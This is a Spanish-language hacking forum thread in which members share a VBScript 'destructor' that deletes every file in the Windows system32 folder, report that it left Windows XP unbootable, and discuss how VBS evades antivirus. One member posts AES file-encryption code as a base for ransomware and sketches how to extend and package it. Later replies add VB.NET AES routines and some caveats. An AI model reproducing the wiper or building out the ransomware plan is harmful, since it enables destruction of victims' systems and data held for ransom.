[VBS] Destructor

Iniciado por PikachuDorado, Noviembre 09, 2016, 09:26:59 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hola chicos, se que es un script MUY basico. Pero lo probe en windowsXP service pack 3 x86 y funciono.
Es parte de un pack simple de herramientas de Fabian Portantier, profesor de la carrera de Seguridad Informatica en EducacionIT.


Código: php
On Error Resume Next

'Desarrollado por Fabian Portantier'

strDir = "C:\WINDOWS\system32\"

Mensaje = "Este programa es una prueba de concepto, que demuestra como algunos archivos " &_
"no son detectados por los antivirus, aun cuando lo unico que hacen es eliminar componentes de sistema." &_
"Esta seguro de que desea ejecutar este programa?"

retval = msgbox(Mensaje, vbYesNo, "Cuidado!")
if retval = vbYes then
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(strDir)
Set fc = f.Files
For Each f1 in fc
fso.DeleteFile f1, True
Next
end if


Es re basico, pero que opinan? ..
Pikaa~


HOLA!!!

Creo que es justamente eso, un PoC , como siempre defendi, VBS es un lenguaje olvidado por los AVs, es muy buen vector de entrada.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El tema es que funciona a la perfeccion. Despues de ejecutar el script, intento realizar acciones como por ejemplo ir al panel de control y hay pocos ajustes.




Por si no se lee bien la imagen.
Código: php
No se ha iniciado Windows porque el siguiente archivo falta
o esta dañado:
<windows root>\system32\hal.dll.
Reinstale una copia del archivo mencionado.


Tendra solución simple eso? .. Si hubiera traído el HIREN's probaba solucionarlo a ver como lo haría un usuario.
Pikaa~


HOLA!!!

Si, buscar los archivos eliminados por fuera y volverlos  a colocar en la carpeta, ya que no son archivos escenciales windows no guarda un backup de los mismos, mi recomendacion, una virtual con instalacion limpia del mismo SO, y ahi copiado de archivos faltantes.

Como realizar esta tarea: Copias toda la carpeta system32 de la virtual pegas en la system32 del ordenador dañado y pones que no sobrescriba el destino.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

A esta muy bueno saber eso, entonces no es TAN asesino ese script. Es para asustar al usuario final y a uno que otro tecnico perezoso.

Muchas gracias Numeritos
Pikaa~


HOLA!!!

Ese script necesecitaria privilegios system para borrar archivos clave.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Interesante, pero he de decir que los avs ya se han dado cuenta de que tenian trabajo pendiente con vbs y le estan dando caña, incluido microsoft, que desde hace unos meses con una actualizacion de windows defender  detecta vbs cifrado, detectando las funciones de execute y executeglobal. Lo que es tan bueno de vbs es que al crear scripts, que microsoft reconoce como propios, los antivirus no tienen detecciones heuristicas sobre este tipo de archivos, pero eso ha empezado a dejar de ser asi.
Powershell es el nuevo VBS.

Seria mas interesante si alguien es capaz de implementar una rutina de cifrado en lugar de borrar archivos, seria el primer ransomware en vbs, facil de cifrar, ligero y efectivo.

Un saludo
Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si necesitas ayuda, no dudes en mandar MP

Voy a probar el mismo script, en w7 limpio y actualizado a ver que pasa .. jaja
Powershell es increiblemente potente, y lo de cifrar archivos ... faaaa, es una muy buena idea.

Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta por lo de los privilegios.
Pikaa~


Ejemplo de funcion de cifrado con AES-256
Código: vb
Dim fso, outFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set outFile = fso.CreateTextFile("output.txt", True)
set crypt = CreateObject("Chilkat_9_5_0.Crypt2")
success = crypt.UnlockComponent("30-day trial")
crypt.CryptAlgorithm = "aes"
crypt.CipherMode = "cbc"
crypt.KeyLength = 256
crypt.PaddingScheme = 0
ivHex = "000102030405060708090A0B0C0D0E0F"
crypt.SetEncodedIV ivHex,"hex"
keyHex = "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F"
crypt.SetEncodedKey keyHex,"hex"
inFile = "C:\cifrar.pdf"
outFile = "C:\cifrar.pdf.aes"
success = crypt.CkEncryptFile(inFile,outFile)
WScript.Quit

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Esa seria la base para un posible ransomware, quedaria crear un array con la lista de extensiones y meterlo en un for loop e ir cifrando el disco.
La rutina de cifrado no esta detectada como es logico

Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si necesitas ayuda, no dudes en mandar MP

HOLA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ejemplo de funcion de cifrado con AES-256
Código: vb
Dim fso, outFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set outFile = fso.CreateTextFile("output.txt", True)
set crypt = CreateObject("Chilkat_9_5_0.Crypt2")
success = crypt.UnlockComponent("30-day trial")
crypt.CryptAlgorithm = "aes"
crypt.CipherMode = "cbc"
crypt.KeyLength = 256
crypt.PaddingScheme = 0
ivHex = "000102030405060708090A0B0C0D0E0F"
crypt.SetEncodedIV ivHex,"hex"
keyHex = "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F"
crypt.SetEncodedKey keyHex,"hex"
inFile = "C:\cifrar.pdf"
outFile = "C:\cifrar.pdf.aes"
success = crypt.CkEncryptFile(inFile,outFile)
WScript.Quit

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Esa seria la base para un posible ransomware, quedaria crear un array con la lista de extensiones y meterlo en un for loop e ir cifrando el disco.
La rutina de cifrado no esta detectada como es logico


@SadFud , me extraña   :-\  pensaba que estabas mas capacitado para estos temas, Chilkat es una libreria paga y propietaria que requiere instalacion previa, no es un recurso que se use en malware, siempre aparece en google cuando buscas pero sus ejemplos no sirven y menos si queres hacer malware por que deberias distribuir el vbs (en este caso) con la libreria.

En fin escribo esto para que no piensen que es todo tan simple.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola chicos, se que es un script MUY basico. Pero lo probe en windowsXP service pack 3 x86 y funciono.
Es parte de un pack simple de herramientas de Fabian Portantier, profesor de la carrera de Seguridad Informatica en EducacionIT.


Código: php
On Error Resume Next

'Desarrollado por Fabian Portantier'

strDir = "C:\WINDOWS\system32\"

Mensaje = "Este programa es una prueba de concepto, que demuestra como algunos archivos " &_
"no son detectados por los antivirus, aun cuando lo unico que hacen es eliminar componentes de sistema." &_
"Esta seguro de que desea ejecutar este programa?"

retval = msgbox(Mensaje, vbYesNo, "Cuidado!")
if retval = vbYes then
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(strDir)
Set fc = f.Files
For Each f1 in fc
fso.DeleteFile f1, True
Next
end if


Es re basico, pero que opinan? ..
Eso no es malware, solamente borra todos los archivos en System32. Ejecutalo en una cuenta de usuario o en guest y no va a funcionar.
El antivirus es una barrera protectora, no es una herramienta para salvar usuarios estúpidos o malas configuraciones.
Si un script vbs que borra todos los archivos de system32 tiene que ser detectado como virus, un rm -rf también tendría que ser detectado y la herramienta format.exe también, dd también, etc.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
HOLA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ejemplo de funcion de cifrado con AES-256
Código: vb
Dim fso, outFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set outFile = fso.CreateTextFile("output.txt", True)
set crypt = CreateObject("Chilkat_9_5_0.Crypt2")
success = crypt.UnlockComponent("30-day trial")
crypt.CryptAlgorithm = "aes"
crypt.CipherMode = "cbc"
crypt.KeyLength = 256
crypt.PaddingScheme = 0
ivHex = "000102030405060708090A0B0C0D0E0F"
crypt.SetEncodedIV ivHex,"hex"
keyHex = "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F"
crypt.SetEncodedKey keyHex,"hex"
inFile = "C:\cifrar.pdf"
outFile = "C:\cifrar.pdf.aes"
success = crypt.CkEncryptFile(inFile,outFile)
WScript.Quit

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Esa seria la base para un posible ransomware, quedaria crear un array con la lista de extensiones y meterlo en un for loop e ir cifrando el disco.
La rutina de cifrado no esta detectada como es logico


@SadFud , me extraña   :-\  pensaba que estabas mas capacitado para estos temas, Chilkat es una libreria paga y propietaria que requiere instalacion previa, no es un recurso que se use en malware, siempre aparece en google cuando buscas pero sus ejemplos no sirven y menos si queres hacer malware por que deberias distribuir el vbs (en este caso) con la libreria.

En fin escribo esto para que no piensen que es todo tan simple.

GRACIAS POR LEER!!!

Lo se, y lo pense, pero no encontre rutinas de cifrado que no tirasen de esta dependencia, de todos modos puedes bindear todo, droppeas la dependencia en temp y la registras con un bat que tambien dropees y posteriormente ejecutas el vbs. como bien dices es de pago y solo tienes 30 dias de uso por equipo, pero da igual porque en realidad solo vas a llamarla en la primera ejecucion

Seria un malware muy muy cutre, si, pero podria funcionar.

Un saludo
Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si necesitas ayuda, no dudes en mandar MP

Noviembre 10, 2016, 03:46:19 PM #12 Ultima modificación: Noviembre 10, 2016, 03:49:55 PM por PikachuDorado
No recuerdo de donde saque este codigo, pero si te sirve de algo...


Código: php
    Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim encrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = Security.Cryptography.CipherMode.ECB
            Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
            Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
            encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return encrypted
        Catch ex As Exception
            Return ex
        End Try
    End Function

    Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim decrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = Security.Cryptography.CipherMode.ECB
            Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
            Dim Buffer As Byte() = Convert.FromBase64String(input)
            decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return decrypted
        Catch ex As Exception
            Return ex
        End Try
    End Function
End Class



@OnTheCore  si, lo se. No estoy creando la herramienta de la muerte. Estoy mostrando lo que encontre en un pack.
Pikaa~


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No recuerdo de donde saque este codigo, pero si te sirve de algo...
Código: vbnet

   Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim encrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = Security.Cryptography.CipherMode.ECB
            Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
            Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
            encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return encrypted
        Catch ex As Exception
            Return ex
        End Try
    End Function

    Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim decrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = Security.Cryptography.CipherMode.ECB
            Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
            Dim Buffer As Byte() = Convert.FromBase64String(input)
            decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return decrypted
        Catch ex As Exception
            Return ex
        End Try
    End Function
End Class

.....................


Ese Código es para No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, no para VBScript

Saludos.